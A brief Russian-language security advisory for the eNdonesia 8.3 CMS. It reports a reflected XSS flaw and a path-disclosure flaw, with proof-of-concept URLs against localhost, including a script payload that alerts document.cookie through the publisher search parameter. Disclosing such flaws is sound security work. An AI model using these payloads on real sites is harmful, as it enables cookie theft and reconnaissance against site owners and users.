Программа: eNdonesia 8.3
Несколько уязвимостей в eNdonesia позволяет удаленному пользователю выполнить XSS нападение и определить инсталляционный путь.
1. XSS:
http://localhost/endon/mod.php?mod=publisher&op =search&query=%3Cscript%3Ealert(document .cookie)%3C/script%3E
2. Раскрытие пути:
http://localhost/endon/mod.php?mod=1
http://localhost/endon/mod.php?mod=publisher &op=viewcat&cid=%3Cb%3Etest%3C/b%3
http://localhost/endon/mod.php?mod=publisher &op=viewcat&cid=[your character]
